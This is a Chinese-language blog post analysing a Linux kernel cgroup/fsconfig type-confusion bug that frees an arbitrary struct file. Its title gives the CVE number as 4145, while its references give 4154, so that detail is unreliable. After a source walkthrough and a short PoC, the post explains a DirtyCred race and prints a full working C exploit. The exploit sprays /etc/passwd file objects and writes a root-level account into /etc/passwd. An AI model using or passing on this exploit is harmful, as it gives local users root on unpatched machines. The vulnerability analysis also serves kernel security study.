CVE-2021-4145:类型混淆导致释放任意 file 结构体
前言
影响版本: v5.13.4
之前
测试版本:v5.13.3 (感谢 bsauce 大佬提供的测试环境
)
漏洞发生在 fsconfig
处理时调用的cgroup1_parse_param
函数中,patch
:
diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c index ee93b6e895874..527917c0b30be 100644 --- a/kernel/cgroup/cgroup-v1.c +++ b/kernel/cgroup/cgroup-v1.c @@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param) opt = fs_parse(fc, cgroup1_fs_parameters, param, &result); if (opt == -ENOPARAM) { if (strcmp(param->key, "source") == 0) { + if (param->type != fs_value_is_string) + return invalf(fc, "Non-string source"); if (fc->source) return invalf(fc, "Multiple sources not supported"); fc->source = param->string;
fsconfig/cgroup1_parse_param
漏洞分析
这里的从头开始分析一下 fsconfig
,这也有利于理解(fsopen
就不分析了,分析好几遍了已经)。这里利用时,主要是 cgroup
文件系统,然后 fsconfig
的 cmd
为FSCONFG_SET_FD
:
SYSCALL_DEFINE5(fsconfig, int, fd, unsigned int, cmd, const char __user *, _key, const void __user *, _value, int, aux) { struct fs_context *fc; // 文件系统上下文信息结构体 struct fd f; // 文件系统文件描述符 int ret; int lookup_flags = 0; ? struct fs_parameter param = { .type = fs_value_is_undefined, // 参数类型 }; ? if (fd < 0) return -EINVAL; // 不同的 cmd,其 key/vaule/aux 参数含义不同 switch (cmd) { case FSCONFIG_SET_FLAG: if (!_key || _value || aux) return -EINVAL; break; case FSCONFIG_SET_STRING: if (!_key || !_value || aux) return -EINVAL; break; ...... ? ?// 对于 FSCONFIG_SET_FD 而已,其 key 不为空,aux 为要设置的 fd case FSCONFIG_SET_FD: if (!_key || _value || aux < 0) return -EINVAL; break; ...... default: return -EOPNOTSUPP; } // 获取文件系统的 fd 结构体 f = fdget(fd); ? ?// 一些检查 if (!f.file) return -EBADF; ret = -EINVAL; if (f.file->f_op != &fscontext_fops) goto out_f; ? ? ?// 获取 fc,即文件系统上下文 fc = f.file->private_data; ? ?// 如果其 ops 为默认的 legacy_fs_context_ops ? ?// 则以下 cmd 不能执行 ? ?// 对于 cgroup 文件系统而言,其不是 legacy_fs_context_ops,这里后面再说 if (fc->ops == &legacy_fs_context_ops) { switch (cmd) { case FSCONFIG_SET_BINARY: case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: case FSCONFIG_SET_FD: ret = -EOPNOTSUPP; goto out_f; } } // 复制 key 到内核空间 if (_key) { param.key = strndup_user(_key, 256); if (IS_ERR(param.key)) { ret = PTR_ERR(param.key); goto out_f; } } // 针对不同的 cmd 设置参数类型 switch (cmd) { case FSCONFIG_SET_FLAG: param.type = fs_value_is_flag; break; case FSCONFIG_SET_STRING: param.type = fs_value_is_string; param.string = strndup_user(_value, 256); if (IS_ERR(param.string)) { ret = PTR_ERR(param.string); goto out_key; } param.size = strlen(param.string); ...... ? ?// 对于 FSCONFIG_SET_FD 而已,其类型为 fs_value_is_file case FSCONFIG_SET_FD: param.type = fs_value_is_file; ret = -EBADF; param.file = fget(aux); // 获取 aux 文件描述符对于的 struct file 结构体指针并赋值给 param.file if (!param.file) goto out_key; break; default: break; } ? ret = mutex_lock_interruptible(&fc->uapi_mutex); if (ret == 0) { ? ? ? ?// 这里会调用 vfs_fsconfig_locked 函数,其会调用的漏洞函数 **** ret = vfs_fsconfig_locked(fc, cmd, ¶m); mutex_unlock(&fc->uapi_mutex); } ? /* Clean up the our record of any value that we obtained from * userspace. Note that the value may have been stolen by the LSM or * filesystem, in which case the value pointer will have been cleared. */ ? ?// 针对不同的 cmd 进行不同的清理操作,这里无关紧要 switch (cmd) { case FSCONFIG_SET_STRING: case FSCONFIG_SET_BINARY: kfree(param.string); break; case FSCONFIG_SET_PATH: case FSCONFIG_SET_PATH_EMPTY: if (param.name) putname(param.name); break; case FSCONFIG_SET_FD: if (param.file) fput(param.file); break; default: break; } out_key: kfree(param.key); out_f: fdput(f); return ret; }
vfs_fsconfig_locked
函数如下:其也是争对不同的 cmd
执行不同的操作
static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret; ? ret = finish_clean_context(fc); if (ret) return ret; switch (cmd) { case FSCONFIG_CMD_CREATE: ...... return 0; case FSCONFIG_CMD_RECONFIGURE: ...... return 0; default: if (fc->phase != FS_CONTEXT_CREATE_PARAMS && fc->phase != FS_CONTEXT_RECONF_PARAMS) return -EBUSY; return vfs_parse_fs_param(fc, param); } fc->phase = FS_CONTEXT_FAILED; return ret; }
这里如果 cmd
不是 FSCONFIG_CMD_CREATE/FSCONFIG_CMD_RECONFIGURE
的话一般都会调用到 vfs_parse_fs_param
函数:
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param) { int ret; // key 不能为空 if (!param->key) return invalf(fc, "Unnamed parameter\n"); ? ret = vfs_parse_sb_flag(fc, param->key); if (ret != -ENOPARAM) return ret; ? ret = security_fs_context_parse_param(fc, param); if (ret != -ENOPARAM) return ret; ? ?// 这里会调用到漏洞函数 if (fc->ops->parse_param) { ret = fc->ops->parse_param(fc, param); if (ret != -ENOPARAM) return ret; } ? /* If the filesystem doesn't take any arguments, give it the * default handling of source. */ ? ?// 如果 key 是 source,会进行单独处理 if (strcmp(param->key, "source") == 0) { ? ? ? ?// 这里判断参数类型是否是 fs_value_is_string ? ? ? ?// fs_value_is_string 是 key-value 型的 if (param->type != fs_value_is_string) return invalf(fc, "VFS: Non-string source"); ? ? ? ?// source 已经存在了 if (fc->source) return invalf(fc, "VFS: Multiple sources"); ? ? ? ?// 将 value [param->string 就是传入的 value] 赋给 fc->source fc->source = param->string; param->string = NULL; return 0; } ? return invalf(fc, "%s: Unknown parameter '%s'", fc->fs_type->name, param->key); }
对于 cgroup
文件系统而言,其 ops
为 cgroup1_fs_context_ops
,这里可以看 fsopen
函数逻辑:
static const struct fs_context_operations cgroup1_fs_context_ops = { .free = cgroup_fs_context_free, .parse_param = cgroup1_parse_param, .get_tree = cgroup1_get_tree, .reconfigure = cgroup1_reconfigure, };
因为对于 cgroup
文件系统,其 file_system_type
中的 init_fs_context
不为空:
struct file_system_type cgroup_fs_type = { .name = "cgroup", .init_fs_context = cgroup_init_fs_context, .parameters = cgroup1_fs_parameters, .kill_sb = cgroup_kill_sb, .fs_flags = FS_USERNS_MOUNT, };
所以其在 fsopen
中调用的是 cgroup_init_fs_context
对 fs
进行相关初始化:
static int cgroup_init_fs_context(struct fs_context *fc) { struct cgroup_fs_context *ctx; ? ctx = kzalloc(sizeof(struct cgroup_fs_context), GFP_KERNEL); if (!ctx) return -ENOMEM; ? ctx->ns = current->nsproxy->cgroup_ns; get_cgroup_ns(ctx->ns); fc->fs_private = &ctx->kfc; if (fc->fs_type == &cgroup2_fs_type) fc->ops = &cgroup_fs_context_ops; else fc->ops = &cgroup1_fs_context_ops; put_user_ns(fc->user_ns); fc->user_ns = get_user_ns(ctx->ns->user_ns); fc->global = true; return 0; }
可以看到这里设置的 ops
就是 cgroup1_fs_context_ops
。
所以这里调用的就是 cgroup1_parse_param
函数,这里就看下漏洞点:
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param) { struct cgroup_fs_context *ctx = cgroup_fc2context(fc); struct cgroup_subsys *ss; struct fs_parse_result result; int opt, i; ? opt = fs_parse(fc, cgroup1_fs_parameters, param, &result); if (opt == -ENOPARAM) { ? ? ? ?// 如果 key == "source" if (strcmp(param->key, "source") == 0) { ? ? ? ? ? ?// 可以看到这里只是判断了 fc->source 是否存在 ? ? ? ? ? ?// 你是否还记得之前的 source 判断都是判断了其类型是否是 fs_value_is_string 的 if (fc->source) return invalf(fc, "Multiple sources not supported"); ? ? ? ? ? ?// 这里把 param->string 赋值给了 fc->source fc->source = param->string; param->string = NULL; return 0; } ...... } if (opt < 0) return opt; ? switch (opt) { ...... } return 0; }
其实到这里你还是觉得这里不存在啥问题,因为按照流程下来,我们提前说了用的是 FSCONFIG_SET_FD
,所以 param->file = my_file
,param->string
并没有被赋值,但是你请看 struct fs_parameter
结构体:
struct fs_parameter { const char *key; /* Parameter name */ enum fs_value_type type:8; /* The type of value here */ union { char *string; // <============ void *blob; ? // ? ? ? ? ? ? | struct filename *name;// ? ? ? ? ? | struct file *file; ? // <============ }; size_t size; int dirfd; };
纳尼?string
和 file
是在联合体里面,所以这里的 param->string = param->file
,所以这里我们可以把一个文件的 file
结构体指针挂在 fc->source
上。
当我们关闭文件系统描述符 fs_fd
时,其会调用 fscontext_release
函数:
static int fscontext_release(struct inode *inode, struct file *file) { struct fs_context *fc = file->private_data; ? if (fc) { file->private_data = NULL; put_fs_context(fc); } return 0; }
其调用了 put_fs_context
函数,这里只看关键点:
void put_fs_context(struct fs_context *fc) { struct super_block *sb; ? if (fc->root) { sb = fc->root->d_sb; dput(fc->root); fc->root = NULL; deactivate_super(sb); } ? if (fc->need_free && fc->ops && fc->ops->free) fc->ops->free(fc); ? security_free_mnt_opts(&fc->security); put_net(fc->net_ns); put_user_ns(fc->user_ns); put_cred(fc->cred); put_fc_log(fc); put_filesystem(fc->fs_type); kfree(fc->source); // 这里释放了 fc->source kfree(fc); }
可以看到这里释放了 fc->source
,而在上面说了我们是可以把一个文件的 file
结构体指针挂到 fc->source
上的。所以这里就造成了任意 struct file
释放漏洞。
poc
关键代码如下:
int fs_fd = fsopen("cgroup", 0); int fd = open("victim_file_path", O_RDWR); fsconfig(fs_fd, FSCONFIG_SET_FD, "source", NULL, fd); close(fs_fd);
在关闭 fs_fd
时,fd
对应的 struct file
会被释放,导致了 struct file
的 UAF
。
漏洞利用
这里我感觉除了 dirtyCred
外,其他方法还挺难利用的,毕竟不是通用 slab
的 UAF
。但是我们网上大佬们尝试利用 cross-cache
进行利用。由于这个技巧我掌握的不好,所以搞出来非常不稳定,暂时就不表了,后面有机会好好学一学。
这里的 dirtyCred
利用时存在一定的技巧性,觉得好好记录一下。
linux
中在对文件进行写入操作时的流程如下:
-
权限检查,检查文件是否可写
-
内容写入,实际内容写入文件
而权限检查和内容写入都是根据打开文件的 struct file
进行的,所以如果能够在权限检查之后,内容写入之前将低权限的 file
替换为高权限的 file
,即可完成向高权限的文件进行写入如 /etc/passwd
文件。
而操作系统不允许两个进程同时向一个文件进行写入,所以在一个进程对文件进行写入时会获取 inode
锁,其他进程进行写入时得等待 inode
锁的释放。
如下所示,ext4_file_write_iter()
会对 inode
上锁,避免多个线程同时写入同一文件,这个锁恰好在写许可检查与实际写之间。线程1先获得锁并写入大量数据,线程2写入同一文件(确保不会在__fdget_pos()
中卡住),在函数 ext4_file_write_iter()
中获取 inode
锁时暂停,线程3触发漏洞释放线程2的file
结构,并用特权 file
结构替换,等线程2获得锁后会往特权文件写入恶意数据。
调用路径:.write_iter -> ext4_file_write_iter -> ext4_buffered_write_iter
static ssize_t ext4_buffered_write_iter(struct kiocb *iocb, struct iov_iter *from) { ssize_t ret; struct inode *inode = file_inode(iocb->ki_filp); ? if (iocb->ki_flags & IOCB_NOWAIT) return -EOPNOTSUPP; ? ext4_fc_start_update(inode); inode_lock(inode); // [1] 获取 inode 锁 ... ret = generic_perform_write(iocb->ki_filp, from, iocb->ki_pos); // [2] 实际写 generic_perform_write ... inode_unlock(inode); // [3] 释放 inode 锁 return ret; }
所以思路如下:
-
打开一个可写文件
/tmp/x
,利用漏洞将其struct file
释放掉 -
进程
A/B
对文件/tmp/x
进行写入,A
先获取inode
锁并写入,B
通过权限检查后等待A
写完释放inode
锁 -
在
B
等待锁期间,打开大量/etc/passwd
则可能获取到第一步释放的struct file
-
后面
B
进行写入时,实际上是向/etc/passwd
文件中进行写入
关键点:
-
打开大量
/etc/passwd
是需要时间的,所以为了延长B
等待锁的时间,这里A
得写入大量数据,如4G
一般可让B
等待 10 几秒 -
struct file
被释放后,其内容不会改变吗?对后面没有影响吗?这里如果是slub
的话,一般也就修8字节,其实问题不大 -
在检查写权限之前会调用
__fdget_pos
unsigned long __fdget_pos(unsigned int fd) { unsigned long v = __fdget(fd); struct file *file = (struct file *)(v & ~3); ? if (file && (file->f_mode & FMODE_ATOMIC_POS)) { if (file_count(file) > 1) { v |= FDPUT_POS_UNLOCK; mutex_lock(&file->f_pos_lock); } } return v; }
可以看到如果 file
中引用计数 refcount
大于1,且 flag
带有 FMODE_ATOMIC_POS
标志时,这里会获取 f_pos_lock
锁,而在我们的利用中,最开始打开了一次 /tmp/x
,A/B
又分别打开了一次,所以这里 refcount
为3,所以这里得去除 FMODE_ATOMIC_POS
标志。不然 A
会获得该锁,当 B
进行权限检查时,就会卡在这里等待该锁。
解决方案:在 open
调用中,只要文件是常规文件,就会设置 FMODE_ATOMIC_POS flag
,作者查看内核代码后发现,如果打开软连接文件就不会设置 FMODE_ATOMIC_POS
flag,这样就能避免卡在 __fdget_pos()
函数中。
exp
如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <ctype.h>
#include <pthread.h>
#include <assert.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <linux/kcmp.h>
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef __NR_move_mount
#define __NR_move_mount 429
#endif
int fsopen(const char* fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}
int fsconfig(int fd, unsigned int cmd, const char* key, const char* value, int aux)
{
return syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}
int fsmount(int fs_fd, unsigned int flags, unsigned int attr_flags)
{
return syscall(__NR_fsmount, fs_fd, flags, attr_flags);
}
int move_mount(int from_dfd, const char* from_path, int to_dfd, const char* to_path, unsigned int flags)
{
return syscall(__NR_move_mount, from_dfd, from_path, to_dfd, to_path, flags);
}
void err_exit(char* msg)
{
printf("[X] %s\n", msg);
exit(-1);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
#define WRITE_PAGE_NUMS 0x40000
#define MAX_FILE_NUMS 1000
int uaf_fd;
int run_wait_lock = 0;
int run_spray_file = 0;
void prepare_exp_file()
{
puts("[+] Step I - Prepare some exp files");
system("rm exp_dir -rf;mkdir exp_dir;touch exp_dir/data");
if (chmod("exp_dir", 0777))
perror("chmod exp_dir"), exit(-1);
if (chdir("exp_dir"))
perror("chdir exp_dir"), exit(-1);
}
void construct_file_uaf()
{
puts("[+] Step II - Construct file obj UAF");
int fs_fd = fsopen("cgroup", 0);
if (fs_fd < 0) perror("fsopen cgroup"), exit(-1);
symlink("./data", "./uaf");
uaf_fd = open("./uaf", O_WRONLY);
if (uaf_fd < 0) perror("open uaf"), exit(-1);
if (fsconfig(fs_fd, 5, "source", NULL, uaf_fd))
perror("fsoncfig set fd"), exit(-1);
close(fs_fd);
}
void* slow_write()
{
int fd = open("./uaf", O_WRONLY);
if (fd < 0) perror("open uaf"), exit(-1);
uint64_t start_addr = 0x30000000;
uint64_t write_len = (WRITE_PAGE_NUMS-1) * 0x1000;
int64_t page_nums;
for (page_nums = 0; page_nums < WRITE_PAGE_NUMS; page_nums++)
{
void* addr = mmap((void*)(start_addr+page_nums*0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (addr <= 0) perror("mmap"), exit(-1);
}
assert(page_nums > 0);
puts("[+] Thread I start to slow write to get inode lock");
run_wait_lock = 1;
if (write(fd, (void*)start_addr, write_len) < 0)
perror("slow write"), exit(-1);
puts("[+] Thread I write OVER");
close(fd);
}
void* write_cmd_and_wait_lock()
{
char cmd[1024] = "hi:x:0:0:root:/home/hi:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n";
while(!run_wait_lock) {}
puts("[+] Thread II start to wait for inode lock to write");
run_spray_file = 1;
if (write(uaf_fd, cmd, strlen(cmd)) < 0)
perror("write uaf"), exit(-1);
puts("[+] Thread II write OVER");
}
void spray_file()
{
int fd[MAX_FILE_NUMS], i = 0;
while (!run_spray_file) {}
puts("[+] Thread III start to open many /etc/passwd to spray file obj");
printf("[+] uaf_fd is %d\n", uaf_fd);
usleep(0.3);
for (; i < MAX_FILE_NUMS; i++)
{
if ((fd[i] = open("/etc/passwd", O_RDONLY)) < 0)
perror("open /etc/passwd"), exit(-1);
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, fd[i], uaf_fd) == 0)
{
printf("[V] GOOD, Get UAF file obj successfully: fd[%d] = %d\n", i, fd[i]);
for (int j = 0; j < i; j++)
close(fd[j]);
break;
}
}
if (i == MAX_FILE_NUMS)
{
for (int j = 0; j < i; j++)
close(fd[j]);
puts("[X] FAILED to get UAF file obj"), exit(-1);
}
}
int main(int argc, char** argv, char** envp)
{
pthread_t thr1, thr2;
prepare_exp_file();
unshare_setup();
construct_file_uaf();
pthread_create(&thr1, NULL, slow_write, NULL);
usleep(1);
pthread_create(&thr2, NULL, write_cmd_and_wait_lock, NULL);
spray_file();
pthread_exit(NULL);
return 0;
}
效果如下:
总结
这里漏洞分析并不困难,而且按理说 exp 写起来也不困难。但是 exp 我写了一天,反正就是各种错误,最后照着 blingbling 佬的 exp 抄都错了一下午。但是用 blingbling 的 exp 确实能够通的。所以最后还是直接把 blingbling 佬的 exp 拿过来了,乐。
参考
CVE-2021-4154 漏洞分析及利用 | blingbling's blog
【kernel exploit】CVE-2021-4154 错误释放任意file对象-DirtyCred利用 — bsauce
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!